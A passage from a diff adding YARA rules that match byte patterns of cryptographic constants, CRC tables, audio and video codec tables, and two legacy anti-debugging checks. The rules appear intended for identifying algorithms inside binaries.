94da44c3fe21e445d06afd6bff0c49f297c66c5bfe8260c5e34b46b3fd2a8f85bf8a1d53fc4ca3944199b48bfd127e52c8a3d513fc56ec0f30206663f80cb28e4ef7223bfc831ad7b6572e83fdcd5c488128aca3fd3cbdd014815ecbfd5240769dad716bfd1a3ea6ac780be3fb140b661dd32b33f7a838b5e427c4abfa87ed154fd2a6c3fb6233a634954133f90caeb84fed4d8bfa3664c3ef6347c3f9281e5aa77d73abf7817e2cecc9bde3fe29797b12bd60dbfe054d06204a209bfe10416ab37cc1ebfd46486b60a359fbfc24a7b3997b797bfc9ed9f1f401ae93fc66d2f3f5b702a3fc2da1f1dafdd713f9859a405a747eb3fd8ee002301b4473fc3ea314f119eaebfcdd74afd74968fbfd0387d8b128021bfaadc0fe2e29fa03f90acea9f1e5e66bf99a93a71fe508b3fb1b765d331380d3f99027e3fe962a7bfa30dfd90aaeff83f929fe0c3ac60e3bf7eb452a2ee69633fe12ae8a8269d77bfd0082bc80cdc1cbfdafbfdd61745ddbfdba4e540076394bf669b2aac4dabbdbfa188cc436725ed3fa5d9f2372333d5bfa7f3faa690aa2cbfba2669d3d9102a3fd0e6bc6443df8d3fc2ad1ab10811dc3fc3584546e6d663bf9930635cf04bcdbfc678e96834ea18bfbcad8c9e0968a7bfc817ec75f72769bfa4c99163ec13df3fac0bc1f9f4a9fa3fa88499866b15ba3fa81629f326333bbf96b6303104c3fb }
+
+condition:
+	$a0
+}
+
+	
+rule Thandor_game_audio_codec____needs_verification___32_lil_512_
+{
+strings:
+	$a0 = { F0D8FFFFA8E4FFFF90E8FFFFD9EAFFFF78ECFFFFBAEDFFFFC1EEFFFF9FEFFFFF60F0FFFF0AF1FFFFA2F1FFFF2CF2FFFFA9F2FFFF1CF3FFFF87F3FFFFEBF3FFFF48F4FFFF9FF4FFFFF2F4FFFF40F5FFFF8AF5FFFFD0F5FFFF13F6FFFF54F6FFFF91F6FFFFCCF6FFFF04F7FFFF3BF7FFFF6FF7FFFFA2F7FFFFD3F7FFFF02F8FFFF30F8FFFF5CF8FFFF87F8FFFFB1F8FFFFDAF8FFFF01F9FFFF28F9FFFF4DF9FFFF72F9FFFF96F9FFFFB8F9FFFFDAF9FFFFFBF9FFFF1CFAFFFF3CFAFFFF5BFAFFFF79FAFFFF97FAFFFFB4FAFFFFD0FAFFFFECFAFFFF08FBFFFF23FBFFFF3DFBFFFF57FBFFFF71FBFFFF8AFBFFFFA3FBFFFFBBFBFFFFD3FBFFFFEAFBFFFF01FCFFFF18FCFFFF2EFCFFFF44FCFFFF5AFCFFFF6FFCFFFF85FCFFFF99FCFFFFAEFCFFFFC2FCFFFFD6FCFFFFE9FCFFFFFDFCFFFF10FDFFFF23FDFFFF35FDFFFF48FDFFFF5AFDFFFF6CFDFFFF7EFDFFFF8FFDFFFFA0FDFFFFB1FDFFFFC2FDFFFFD3FDFFFFE3FDFFFFF4FDFFFF04FEFFFF14FEFFFF24FEFFFF33FEFFFF43FEFFFF52FEFFFF61FEFFFF70FEFFFF7FFEFFFF8DFEFFFF9CFEFFFFAAFEFFFFB8FEFFFFC6FEFFFFD4FEFFFFE2FEFFFFF0FEFFFFFDFEFFFF0BFFFFFF18FFFFFF25FFFFFF32FFFFFF3FFFFFFF4CFFFFFF59FFFFFF66FFFFFF72FFFFFF7EFFFFFF8BFFFFFF97FFFFFFA3FFFFFFAFFFFFFFBBFFFFFFC7FFFFFFD2FFFFFFDEFFFFFFE9FFFFFFF5FFFFFF }
+
+condition:
+	$a0
+}
+
+	
+rule EPWIC_15_tap_lo_filter__flt32___32_lil_60_
+{
+strings:
+	$a0 = { e583a3baad8423bb450c0f3cdf7ea33c7ff74ebd6de3f6bd120a963ef6c7343f120a963e6de3f6bd7ff74ebddf7ea33c450c0f3cad8423bbe583a3ba }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_DV_dv_audio_shuffle525__8_byt_90_
+{
+strings:
+	$a0 = { 001e3c1432500a28460624421a3856102e4c0c2a4802203e16345212304e0826441c3a581836540e2c4a042240011f3d1533510b29470725431b3957112f4d0d2b4903213f17355313314f0927451d3b591937550f2d4b052341 }
+
+condition:
+	$a0
+}
+
+	
+rule Inverse_Modified_DCT_pm128__liba52___32_big_512_
+{
+strings:
+	$a0 = { 0000000000000010000000200000003000000040000000500000006000000070000000080000002800000048000000680000001800000038000000580000007800000004000000140000002400000034000000440000005400000064000000740000000c0000001c0000002c0000003c0000004c0000005c0000006c0000007c00000002000000120000002200000032000000420000005200000062000000720000000a0000002a0000004a0000006a0000001a0000003a0000005a0000007a00000006000000160000002600000036000000460000005600000066000000760000000e0000002e0000004e0000006e0000001e0000003e0000005e0000007e0000000100000011000000210000003100000041000000510000006100000071000000090000002900000049000000690000001900000039000000590000007900000005000000150000002500000035000000450000005500000065000000750000000d0000001d0000002d0000003d0000004d0000005d0000006d0000007d00000003000000130000002300000033000000430000005300000063000000730000000b0000002b0000004b0000006b0000001b0000003b0000005b0000007b00000007000000170000002700000037000000470000005700000067000000770000000f0000001f0000002f0000003f0000004f0000005f0000006f0000007f }
+
+condition:
+	$a0
+}
+
+	
+rule sfb_32_512__16_big_74_
+{
+strings:
+	$a0 = { 00040008000c001000140018001c002000240028002c00300034003800400048005000580060006c00780084009000a000b000c000d400ec0104012001400160018001a001c001e00200 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_libmp3lame_sBitRates__16_big_180_
+{
+strings:
+	$a0 = { 0000002000400060008000a000c000e00100012001400160018001a001c000000020003000380040005000600070008000a000c000e0010001400180000000200028003000380040005000600070008000a000c000e001000140000000200030003800400050006000700080009000a000b000c000e001000000000800100018002000280030003800400050006000700080009000a00000000800100018002000280030003800400050006000700080009000a0 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC32_poly_0x9b64c2b0__32_lil_refl_True_
+{
+strings:
+	$a0 = { 000000005487d20d1b4323014fc4f10c368646026201940f2dc565037942b70e6c0c8d04388b5f09774fae0523c87c085a8acb060e0d190b41c9e807154e3a0ad8181a098c9fc804c35b390897dceb05ee9e5c0bba198e06f5dd7f0aa15aad07b414970de0934500af57b40cfbd066018292d10fd615030299d1f20ecd562003037cb20857fb6005183f91094cb8430435faf40a617d26072eb9d70b7a3e05066f703f0c3bf7ed0174331c0d20b4ce0059f6790e0d71ab0342b55a0f16328802db64a8018fe37a0cc0278b0094a0590dede2ee03b9653c0ef6a1cd02a2261f0fb7682505e3eff708ac2b0604f8acd40981ee6307d569b10a9aad4006ce2a920bb5b5e20be1323006aef6c10afa7113078333a409d7b4760498708708ccf75505d9b96f0f8d3ebd02c2fa4c0e967d9e03ef3f290dbbb8fb00f47c0a0ca0fbd8016dadf802392a2a0f76eedb032269090e5b2bbe000fac6c0d40689d0114ef4f0c01a175065526a70b1ae256074e65840a3727330463a0e1092c64100578e3c208b6c95003e24e820ead8a7302f90da10f804f1601d4c8c40c9b0c3500cf8be70ddac5dd078e420f0ac186fe0695012c0bec439b05b8c44908f700b804a3876a096ed14a0a3a5698077592690b2115bb0658570c080cd0de0543142f091793fd0402ddc70e565a1503199ee40f4d193602345b810c60dc53012f18a20d7b9f7000d926430d8da19100c265600c96e2b201efa0050fbb27d702f4e3260ea064f403b52ace09e1ad1c04ae69ed08faee3f0583ac880bd72b5a0698efab0acc687907013e590455b98b091a7d7a054efaa80837b81f06633fcd0b2cfb3c07787cee0a6d32d40039b5060d7671f70122f6250c5bb492020f33400f40f7b1031470630eda5af1058edd2308c119d204959e0009ecdcb707b85b650af79f9406a318460bb6567c01e2d1ae0cad155f00f9928d0d80d03a03d457e80e9b931902cf14cb0f0242eb0c56c539011901c80d4d861a0034c4ad0e60437f032f878e0f7b005c026e4e66083ac9b405750d4509218a970458c8200a0c4ff207438b030b170cd1066c93a1063814730b77d082072357500a5a15e7040e9235094156c40515d11608009f2c025418fe0f1bdc0f034f5bdd0e36196a00629eb80d2d5a490179dd9b0cb48bbb0fe00c6902afc8980efb4f4a03820dfd0dd68a2f00994ede0ccdc90c01d887360b8c00e406c3c4150a9743c707ee017009ba86a204f5425308a1c581056fef130e3b68c10374ac300f202be2025969550c0dee8701422a760d16ada40003e39e0a57644c0718a0bd0b4c276f063565d80861e20a052e26fb097aa12904b7f70907e370db0aacb42a06f833f80b81714f05d5f69d089a326c04ceb5be09dbfb84038f7c560ec0b8a702943f750fed7dc201b9fa100cf63ee100a2b9330d }
+
+condition:
+	$a0
+}
+
+	
+rule cellb_yytable__16_lil_512_
+{
+strings:
+	$a0 = { 14101810201030104010501070109010b010d010f01018141c1820182818201c24202820302040205020602028242c2830283828302c3430383040305030603070309030b030d030f03038343c3840384838403c44404840504060407040804048444c4850485848504c545058506050705080509050b050d050f05058545c5860586858605c64606860706080609060a06068646c6870687868706c7470787080709070a070b070d070f0708078887888809080a080b080c080908898889890a090b090c090d090f090a098a898a8a0b0a0c0a0d0a0e0a0b0a8b8a8b8b0c0b0d0b0e0b0f0b0c0b8c8b8c8c0d0c0e0c0f0c0d0c8d8c8d8d0e0d0f0d0e8d8f0e01014101810201030104010501070109010b010d010f01418181c182018281c202024202820302040205020602428282c283028382c30303430383040305030603070309030b030d030f03438383c384038483c404044404840504060407040804448484c485048584c5050545058506050705080509050b050d050f05458585c586058685c606064606860706080609060a06468686c687068786c70707470787080709070a070b070d070f0788078888088809080a080b080c088908898909890a090b090c090d090f098a098a8a0a8a0b0a0c0a0d0a0e0a8b0a8b8b0b8b0c0b0d0b0e0b0f0b8c0b8c8c0c8c0d0c0e0c0f0c8d0c8d8d0d8d0e0d0f0d8e8e0f0 }
+
+condition:
+	$a0
+}
+
+	
+rule DES_ei__8_byt_48_
+{
+strings:
+	$a0 = { 20010203040504050607080908090a0b0c0d0c0d0e0f101110111213141514151617181918191a1b1c1d1c1d1e1f2001 }
+
+condition:
+	$a0
+}
+
+	
+rule HAVAL_wi3__32_big_128_
+{
+strings:
+	$a0 = { 000000130000000900000004000000140000001c0000001100000008000000160000001d0000000e000000190000000c000000180000001e000000100000001a0000001f0000000f00000007000000030000000100000000000000120000001b0000000d00000006000000150000000a000000170000000b0000000500000002 }
+
+condition:
+	$a0
+}
+
+	
+rule DESX_pc1__8_byt_56_
+{
+strings:
+	$a0 = { 383028201810080039312921191109013a322a221a120a023b332b233e362e261e160e063d352d251d150d053c342c241c140c041b130b03 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_5_USB_poly_0x14__8_byt_refl_True_
+{
+strings:
+	$a0 = { 00112233150437262a3b08193f2e1d0c05142736100132232f3e0d1c3a2b18090a1b28391f0e3d2c20310213352417060f1e2d3c1a0b3829253407163021120314053627011023323e2f1c0d2b3a091811003322041526373b2a19082e3f0c1d1e0f3c2d0b1a293834251607213003121b0a39280e1f2c3d312013022435061728390a1b3d2c1f0e02132031170635242d3c0f1e38291a0b0716253412033021223300113726150408192a3b1d0c3f2e27360514322310010d1c2f3e18093a2b3c2d1e0f29380b1a160734250312213039281b0a2c3d0e1f130231200617243536271405233201101c0d3e2f09182b3a332211002637041519083b2a0c1d2e3f }
+
+condition:
+	$a0
+}
+
+	
+rule HAM84_DAC_tab__32_lil_512_
+{
+strings:
+	$a0 = { 1000000000000000000000000300000000000000050000000e0000000700000000000000090000000e0000000b0000000e0000000d0000001e0000000e000000000000000900000002000000070000000400000007000000070000001700000009000000190000000a000000090000000c000000090000000e000000070000000000000005000000020000000b00000005000000150000000600000005000000080000000b0000000b0000001b0000000c000000050000000e0000000b000000020000000100000012000000020000000c0000000500000002000000070000000c00000009000000020000000b0000001c0000000c0000000c0000000f00000000000000030000000300000013000000040000000d0000000600000003000000080000000d0000000a000000030000000d0000001d0000000e0000000d00000004000000010000000a00000003000000140000000400000004000000070000000a000000090000001a0000000a000000040000000d0000000a0000000f00000008000000010000000600000003000000060000000500000016000000060000001800000008000000080000000b000000080000000d000000060000000f000000010000001100000002000000010000000400000001000000060000000f00000008000000010000000a0000000f0000000c0000000f0000000f0000001f000000 }
+
+condition:
+	$a0
+}
+
+	
+rule SHA512__64_big_AND_
+{
+strings:
+	$a0 = { 6a09e667f3bcc908[0-20]bb67ae8584caa73b[0-20]3c6ef372fe94f82b[0-20]a54ff53a5f1d36f1[0-20]510e527fade682d1[0-20]9b05688c2b3e6c1f[0-20]1f83d9abfb41bd6b[0-20]5be0cd19137e2179[0-20]428a2f98d728ae22[0-20]7137449123ef65cd[0-20]b5c0fbcfec4d3b2f[0-20]e9b5dba58189dbbc[0-20]3956c25bf348b538[0-20]59f111f1b605d019[0-20]923f82a4af194f9b[0-20]ab1c5ed5da6d8118[0-20]d807aa98a3030242[0-20]12835b0145706fbe[0-20]243185be4ee4b28c[0-20]550c7dc3d5ffb4e2[0-20]72be5d74f27b896f[0-20]80deb1fe3b1696b1[0-20]9bdc06a725c71235[0-20]c19bf174cf692694[0-20]e49b69c19ef14ad2[0-20]efbe4786384f25e3[0-20]0fc19dc68b8cd5b5[0-20]240ca1cc77ac9c65[0-20]2de92c6f592b0275[0-20]4a7484aa6ea6e483[0-20]5cb0a9dcbd41fbd4[0-20]76f988da831153b5[0-20]983e5152ee66dfab[0-20]a831c66d2db43210[0-20]b00327c898fb213f[0-20]bf597fc7beef0ee4[0-20]c6e00bf33da88fc2[0-20]d5a79147930aa725[0-20]06ca6351e003826f[0-20]142929670a0e6e70[0-20]27b70a8546d22ffc[0-20]2e1b21385c26c926[0-20]4d2c6dfc5ac42aed[0-20]53380d139d95b3df[0-20]650a73548baf63de[0-20]766a0abb3c77b2a8[0-20]81c2c92e47edaee6[0-20]92722c851482353b[0-20]a2bfe8a14cf10364[0-20]a81a664bbc423001[0-20]c24b8b70d0f89791[0-20]c76c51a30654be30[0-20]d192e819d6ef5218[0-20]d69906245565a910[0-20]f40e35855771202a[0-20]106aa07032bbd1b8[0-20]19a4c116b8d2d0c8[0-20]1e376c085141ab53[0-20]2748774cdf8eeb99[0-20]34b0bcb5e19b48a8[0-20]391c0cb3c5c95a63[0-20]4ed8aa4ae3418acb[0-20]5b9cca4f7763e373[0-20]682e6ff3d6b2b8a3[0-20]748f82ee5defb2fc[0-20]78a5636f43172f60[0-20]84c87814a1f0ab72[0-20]8cc702081a6439ec[0-20]90befffa23631e28[0-20]a4506cebde82bde9[0-20]bef9a3f7b2c67915[0-20]c67178f2e372532b[0-20]ca273eceea26619c[0-20]d186b8c721c0c207[0-20]eada7dd6cde0eb1e[0-20]f57d4f7fee6ed178[0-20]06f067aa72176fba[0-20]0a637dc5a2c898a6[0-20]113f9804bef90dae[0-20]1b710b35131c471b[0-20]28db77f523047d84[0-20]32caab7b40c72493[0-20]3c9ebe0a15c9bebc[0-20]431d67c49c100d4c[0-20]4cc5d4becb3e42b6[0-20]597f299cfc657e2a[0-20]5fcb6fab3ad6faec[0-20]6c44198c4a475817 }
+
+condition:
+	$a0
+}
+
+	
+rule Inverse_Modified_DCT_pm128__liba52___32_lil_512_
+{
+strings:
+	$a0 = { 0000000010000000200000003000000040000000500000006000000070000000080000002800000048000000680000001800000038000000580000007800000004000000140000002400000034000000440000005400000064000000740000000c0000001c0000002c0000003c0000004c0000005c0000006c0000007c00000002000000120000002200000032000000420000005200000062000000720000000a0000002a0000004a0000006a0000001a0000003a0000005a0000007a00000006000000160000002600000036000000460000005600000066000000760000000e0000002e0000004e0000006e0000001e0000003e0000005e0000007e0000000100000011000000210000003100000041000000510000006100000071000000090000002900000049000000690000001900000039000000590000007900000005000000150000002500000035000000450000005500000065000000750000000d0000001d0000002d0000003d0000004d0000005d0000006d0000007d00000003000000130000002300000033000000430000005300000063000000730000000b0000002b0000004b0000006b0000001b0000003b0000005b0000007b00000007000000170000002700000037000000470000005700000067000000770000000f0000001f0000002f0000003f0000004f0000005f0000006f0000007f000000 }
+
+condition:
+	$a0
+}
+
+	
+rule mp3lib_huffman_tab24__16_big_1022_
+{
+strings:
+	$a0 = { FE3DFF8BFFD5FFE7FFF1FFF9FFFDFFFF00EF00FEFFFF00DF00FDFFFDFFFF00CF00FCFFFF00BF00FBFFFBFFFF00FAFFFF00AF009FFFFF00F900F8FFF7FFFBFFFDFFFF008F007F00F7FFFF006F00F6FFFDFFFF005F00F5FFFF004F00F4FFB9FFF9FFFDFFFF003F00F3FFFF002F00F2FFFBFFFF00F1FFFF001F00F0FFE7FFF7FFFF000FFFFDFFFF00EE00DEFFFF00ED00CEFFF9FFFDFFFF00EC00DDFFFF00BE00EBFFFDFFFF00CD00DCFFFF00AE00EAFFF1FFF9FFFDFFFF00BD00DBFFFF00CC009EFFFDFFFF00E900ADFFFF00DA00BCFFF9FFFDFFFF00CB008EFFFF00E8009DFFFDFFFF00D9007EFFFF00E700AC00FFFF15FF71FFB3FFD3FFE7FFF1FFF9FFFDFFFF00CA00BBFFFF008D00D8FFFBFFFDFFFF000E00E0000D00E6FFFBFFFDFFFF006E009C00C9FFFF005E00BAFFF7FFFBFFFF00E5FFFF00AB007DFFFF00D700E4FFFDFFFF008C00C8FFFDFFFF004E002E003EFFF1FFF9FFFDFFFF006D00D6FFFF00E3009BFFFDFFFF00B900AAFFFF00E2001EFFF9FFFDFFFF00E1005DFFFF00D5007CFFFDFFFF00C7004DFFFF008B00B8FFE1FFF1FFF9FFFDFFFF00D4009AFFFF00A9006CFFFDFFFF00C6003DFFFF00D3002DFFF9FFFDFFFF00D2001DFFFF007B00B7FFFDFFFF00D1005CFFFF00C5008AFFEFFFF9FFFDFFFF00A80099FFFF004C00C4FFFDFFFF006B00B6FFFDFFFF00D0000C003CFFF9FFFDFFFF00C3007AFFFF00A7002CFFFDFFFF00C2005BFFFF00B5001CFFC7FFDDFFEDFFF9FFFDFFFF00890098FFFF00C1004BFFFBFFFDFFFF00C0000B003BFFFDFFFF00B0000A001AFFFBFFFF00B4FFFF006A00A6FFFDFFFF00790097FFFDFFFF00A000090090FFF7FFFDFFFF00B30088FFFDFFFF002B005A00B2FFF9FFFDFFFF00A5001BFFFF00B10069FFFF009600A4FFEFFFF7FFFBFFFDFFFF004A00780087FFFF003A00A3FFFDFFFF00590095FFFF002A00A2FFF9FFFDFFFF00A10068FFFF00860077FFFDFFFF00490094FFFF00390093FFC1FFE1FFF1FFF9FFFDFFFF00580085FFFF00290067FFFDFFFF00760092FFFF00190091FFF9FFFDFFFF00480084FFFF00570075FFFDFFFF00380083FFFF00660028FFEFFFF9FFFDFFFF00820018FFFF00470074FFFBFFFF0081FFFF00080080FFFF00560065FFF9FFFBFFFF0017FFFF000700700073FFFDFFFF003700270072FFF1FFF9FFFDFFFF00460064FFFF00550071FFFDFFFF00360063FFFF00450054FFF9FFFDFFFF00260062FFFF00160061FFFBFFFDFFFF000600600035FFFF00530044FFCDFFDBFFE9FFF1FFF7FFFDFFFF00250052FFFF0015FFFF00050050FFFF0051FFFF00340043FFFDFFFF00240042FFFF00330014FFF7FFFBFFFF0041FFFF00040040FFFF00230032FFFF00130031FFF9FFFBFFFDFFFF0003003000220012FFFF0021FFFF00020020FFFDFFFF00110001FFFF00100000 }
+
+condition:
+	$a0
+}
+
+	
+rule zinflate_distanceExtraBits__32_big_120_
+{
+strings:
+	$a0 = { 000000000000000000000000000000000000000100000001000000020000000200000003000000030000000400000004000000050000000500000006000000060000000700000007000000080000000800000009000000090000000a0000000a0000000b0000000b0000000c0000000c0000000d0000000d }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_dpcm_sol_table_16__32_big_512_
+{
+strings:
+	$a0 = { 0000000000000008000000100000002000000030000000400000005000000060000000700000008000000090000000a0000000b0000000c0000000d0000000e0000000f000000100000001100000012000000130000001400000015000000160000001700000018000000190000001a0000001b0000001c0000001d0000001e0000001f00000020000000208000002100000021800000220000002280000023000000238000002400000024800000250000002580000026000000268000002700000027800000280000002880000029000000298000002a0000002a8000002b0000002b8000002c0000002c8000002d0000002d8000002e0000002e8000002f0000002f80000030000000308000003100000031800000320000003280000033000000338000003400000034800000350000003580000036000000368000003700000037800000380000003880000039000000398000003a0000003a8000003b0000003b8000003c0000003c8000003d0000003d8000003e0000003e8000003f0000003f8000004000000044000000480000004c0000005000000054000000580000005c0000006000000064000000680000006c0000007000000074000000780000007c0000008000000090000000a0000000b0000000c0000000d0000000e0000000f0000001000000014000000180000001c00000020000000300000004000 }
+
+condition:
+	$a0
+}
+
+	
+rule Camellia_s3__8_byt_256_
+{
+strings:
+	$a0 = { 38411676d99360f272c2ab9a750657a091f7b5c9a28cd290f607a7278eb249de435cd7c73ef58f671f186eaf2fe2850d53f09c65eaa3ae9eec802d6ba82b36a6c5864d33fd6658963a09951078d842ccef26e5611a3f3b82b6dbd498e88b02eb0a2c1db06f8d880e19874e0ba90c79117f22e759e1da3dc812047454307eb428556850bed0c431cb2aad0fca70ff326908620024d1fbbaed4581736d849fee4ac32ec101e6254899b9b37bf9cebfdf7129cd6c13649b639dc04bb7a5895fb117f4bcd346cf375e4794fafc5b97fe5aac3c4c0335f323b85d6a92d5214451c67d3983dcaa7c7756051ba415341e1cf8522014e9bddde4a1e08af1d67abbe3404f }
+
+condition:
+	$a0
+}
+
+	
+rule BGMC_Cumulative_frequency_table_1__16_lil_258_
+{
+strings:
+	$a0 = { 0040d03ea03d713c423b143ae738bc3792366a3542341e33fa31d930ba2fa02e862d6d2c542b422a302924281827152612251424162321222c214020541f701e8c1da81cc41be81a0d1a3b196918a217dc161c165c15a614f01343139812f6115411b31013107d0fe80e5a0ece0d4b0dc80c4b0ccf0b5b0be80a7c0a110aac094709e2087d081f08c20769071207bc066d061f06d5058b0547050405c604890451041a04e303ad037b034a031d03f102c902a1027c02570236021502f701d901be01a30188016d0154013c0126011001fd00ea00d800c700b800a9009b008e00820076006a005f0055004b00420039003100290022001b0015000f000a0005000000 }
+
+condition:
+	$a0
+}
+
+	
+rule _3072_bit_MODP_Group__from_RFC3526__Section_4___8_byt_384_
+{
+strings:
+	$a0 = { ffffffffffffffffc90fdaa22168c234c4c6628b80dc1cd129024e088a67cc74020bbea63b139b22514a08798e3404ddef9519b3cd3a431b302b0a6df25f14374fe1356d6d51c245e485b576625e7ec6f44c42e9a637ed6b0bff5cb6f406b7edee386bfb5a899fa5ae9f24117c4b1fe649286651ece45b3dc2007cb8a163bf0598da48361c55d39a69163fa8fd24cf5f83655d23dca3ad961c62f356208552bb9ed529077096966d670c354e4abc9804f1746c08ca18217c32905e462e36ce3be39e772c180e86039b2783a2ec07a28fb5c55df06f4c52c9de2bcbf6955817183995497cea956ae515d2261898fa051015728e5a8aaac42dad33170d04507a33a85521abdf1cba64ecfb850458dbef0a8aea71575d060c7db3970f85a6e1e4c7abf5ae8cdb0933d71e8c94e04a25619dcee3d2261ad2ee6bf12ffa06d98a0864d87602733ec86a64521f2b18177b200cbbe117577a615d6c770988c0bad946e208e24fa074e5ab3143db5bfce0fd108e4b82d120a93ad2caffffffffffffffff }
+
+condition:
+	$a0
+}
+
+	
+rule anti_debug__Softice_C__siw95_nmtrans_dll__8_byt_STR_21_
+{
+strings:
+	$a0 = { 433a5c73697739355c6e6d7472616e732e646c6c00 }
+
+condition:
+	$a0
+}
+
+	
+rule anti_debug__ICECream_detection__Windows_95____8_byt_26_
+{
+strings:
+	$a0 = { 83c0088b1883c0108b0025ffff000081e3ffff000029d883f81e }
+
+condition:
+	$a0
+}
+
+	
+rule SOSEMANUK_mul_ia__32_lil_1024_
+{
+strings:
+	$a0 = { 00000000cd400f1833801e30fec0112866a93c60abe933785529225098692d48ccfb78c001bb77d8ff7b66f0323b69e8aa5244a067124bb899d25a9054925588315ff029fc1fff3102dfee19cf9fe10157f6cc499ab6c3516476d279a936dd61fda488e930e487f1ce2496d9036499c19b0db489564dbb91a88daab965cda5a162be4952affe464a513e57629c7e587a04177532c9577a2a37976b02fad7641aae45319263053e8a9dc52fa2508520bac8ec0df205ac02eafb6c13c2362c1cda53e1b97b9ea1b6636061a74bad21a8533548851bf8088a0306c89b2bcb8894339f1ac1bb525acea3ac9adf8b61dad093f9b3fddb34f3f2c3ca33e3eb0773ecf3c4d592a409959dbcf7558c943a15838ca27caec46f3ca1dc91fcb0f45cbcbfec082eea64c56ee57c3baef454f6eefb4c6e87d604a3c7d91c5d07c8349047c72cf58a628d38ca6d95c60a7cbd0b4a73a593235eed5e6351f5a0a340dd6de34fc539711a4df43115550af1047dc7b10b655fd8262d929829356c58381da1183705a66bdbf66b2bd4ee95ebc5c658abcadec0c2e7960d82e88ef342f9a63e02f6be6a90a336a7d0ac2e5910bd069450b21e0c399f56c179904e3fb98166f2f98e7e97342bdf5a7424c7a4b435ef69f43af7f19d17bf3cdd18a7c21d098f0f5d06975bcf531f968f5c07684f4d2fa50f42373d666f7ff02660670ee6714fc3a67e5721038de1ec4382f9128393d1dfc39cc947aab1818aeabe99742aafb1b96aa0a9edf8f52120b8fa39de78eb111338e4098b51c9414611c659b8d1d7717591d869105c7dc8dd1c72d023dc63f8ee9c6ce076f541a8bbb54eb045755f9888355080dca7050811e70a10ef271b3822671420ba0e3968774e3670898e275844ce284043bdc4b38efdcbab703dda83bd7dd59b2514f8d3e854f7cb1694e6e3dbd4e9fb8f46bc734206b36bbcc6a2437186ad5be9ef801324af8f0bda6f9e23172f913b72e2349abfa23b8241622aaa8c2225b2144b08fad90b07e227cb16caea8b19d2be194c5a735943428d99526a40d95d72d8b0703a15f07f22eb306e0a26706112e5d61f452896105dd65601751b160e6d837f23254e3f2c3db0ff3d157dbf320d292d6785e46d689d1aad79b5d7ed76ad4f845be582c454fd7c0445d5b1444acdd489ef6c19c9e074e709f15c2a49fe44b220d30c7f60dc1481a0cd3c4ce0c224187297acd53298b42bf2899ce6b286847edbabccb39ba4d44d5bb5fc801bbae4876856174a28590fb4e8482779a8473fe1c16a772c81656fd24174471f017b5f4b932ed786d321cf781330e7b5533fff2d3a12b7e07a1daf1eba0c87d3fa039fb637a63e7b77a92685b7b80e48f7b716d09e9a5e1dde9546e31e846e2e5e8b767accdefeb78cd1e6494cc0ce840ccfd61c65e29ed125ed862fe5fcaee2a5f3b6 }
+
+condition:
+	$a0
+}
+
+	
+rule zinflate_distanceExtraBits__16_lil_60_
+{
+strings:
+	$a0 = { 00000000000000000100010002000200030003000400040005000500060006000700070008000800090009000a000a000b000b000c000c000d000d00 }
+
+condition:
+	$a0
+}
+
+	
+rule libaf_rear_same_side__135_degree___flt32___32_big_512_
+{
+strings:
+	$a0 = { 3b95dbbf3ab229203c7e7cf2b9770e8abd6b5c353d0c85623c0471913e6030973e98cc92bea91a75bea388c73e5d86343e798fccbdb51e7d3d215e973ee8618d3d9ba144be397e9e3e923f7d3ecf55cebd5b0cb2bea118f7bdd3a948bd3a83e5be4096acbe0b8fd8bdd5b997be4af04fbe2b06c8bcbab89e3d6dc5853be6f59bbb4268413dcfadca3dee924f3d55be563ce8dfbe3d2a0fd5ba3677d3bd719b8cbd1bba2cbcf0152cbd3a550bbd75710ebd6ecb95bd1a3cf6bd11c9febca925c9bbbb76debb895977ba9659e33c0f27553cc00dfc3cc647f13c9b3ae03caa74d13cb0b4793bded733bc13751cbc33bac7bb5c8d15bc4fb2edbcdb0db7bcbfebcebcbee3dabcc1b7aebcae66efbc156e193a72861d3833bd88b8bda1d4396cb2963bebfc1d3be90abc3b50d4d93c04b98b3c4ec2423c00b11cbb1d6020babe6063bb2758f0bc4ba2a2bc60f0a8bbe5b3dfbbeacac3bc864a63bc81b1aebbef653abb6c82adbb55e9b83b4a83b83bf5986a3b24d5d0384b0a823ae6a2863b977c7c3b6085583b72f6f93b693566bafa1249bbc67cafbbe2f592bb8e60adbb88e472bbb0143dbbd915f9bc0e34a3bc2f9d92bc3aa68cbc01557dbb34b3b6b87e5f4cbaa4011cbb2092b3bb10e109bb196fa5ba6ab58e3a0d6450b9adef89bb83dbb6bc0dcfafbc22336ebc0df772bbb55d88bb74cc8abb348a48bb303065bb85d49a }
+
+condition:
+	$a0
+}
+
+	
+rule MPEG4_fir48_4_120__flt32___32_big_484_
+{
+strings:
+	$a0 = { 80000000b9d4f41dba2bcfa5ba12e450000000003a876cae3b1dba3d3b7c63323ba3c0273bb269003b9ef0693b461dfd80000000bb801754bc0533b8bc42cc54bc6ad87bbc709e7cbc4b73a2bbf2724c000000003c11a1173c92e5743cd114593cf6075c3cf6a8f73ccc87773c6f7e2380000000bc8b9ef8bd0b125cbd43bddcbd6414c9bd62b9cabd3aa45abcd93e58000000003cfb3eb83d79bb973daf9feb3dcccccd3dcc10e13da8addd3d45855a80000000bd68c2ccbdea7a94be27aa83be479230be4bebe5be2dd6f3bdd37001000000003e0a84213e96726a3eed69073f2174d53f47b47a3f65f15b3f7953393f8000003f7953393f65f15b3f47b47a3f2174d53eed69073e96726a3e0a842100000000bdd37001be2dd6f3be4bebe5be479230be27aa83bdea7a94bd68c2cc800000003d45855a3da8addd3dcc10e13dcccccd3daf9feb3d79bb973cfb3eb800000000bcd93e58bd3aa45abd62b9cabd6414c9bd43bddcbd0b125cbc8b9ef8800000003c6f7e233ccc87773cf6a8f73cf6075c3cd114593c92e5743c11a11700000000bbf2724cbc4b73a2bc709e7cbc6ad87bbc42cc54bc0533b8bb801754800000003b461dfd3b9ef0693bb269003ba3c0273b7c63323b1dba3d3a876cae00000000ba12e450ba2bcfa5b9d4f41d80000000 }
+
+condition:
+	$a0
+}
+
+	
+rule Snefru_S_box_5__32_big_1024_
+{
+strings:
